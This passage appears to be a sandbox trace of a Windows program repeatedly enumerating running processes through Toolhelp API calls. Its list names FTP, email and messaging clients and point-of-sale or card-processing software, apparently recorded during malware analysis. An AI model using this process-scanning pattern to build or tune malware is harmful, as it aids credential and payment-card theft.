Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0120.722] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0120.724] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0120.726] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0120.728] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0120.729] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0120.762] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0120.764] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0120.766] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0120.769] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0120.773] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0120.775] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0120.776] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0120.779] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0120.781] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0120.784] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0120.787] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0120.791] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0120.794] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0120.798] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0120.801] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0120.805] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0120.808] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0120.811] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0120.814] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0120.817] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0120.820] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0120.823] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0120.826] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0120.829] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0120.832] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0120.835] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0120.838] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0120.841] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0120.844] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0120.847] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0120.850] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0120.852] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0120.855] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0120.857] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0120.859] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0120.862] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0120.864] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0120.885] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0120.889] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0120.891] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0120.894] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0120.897] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0120.899] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0120.901] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0120.904] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0120.906] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0120.908] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0120.910] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0120.912] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0120.914] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0120.917] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0120.920] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0120.923] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0120.926] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0120.929] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0120.932] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0120.935] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0120.938] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0120.941] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0120.944] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0120.947] Process32Next (in: hSnapshot=0x1e6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0120.949] CloseHandle (hObject=0x1e6c) returned 1 [0120.950] Sleep (dwMilliseconds=0x64) [0121.050] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e58 [0121.063] Process32First (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.065] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0121.067] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0121.074] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0121.076] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0121.077] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0121.079] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0121.081] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0121.083] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0121.087] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.089] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.091] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0121.093] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.109] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.118] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.120] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, 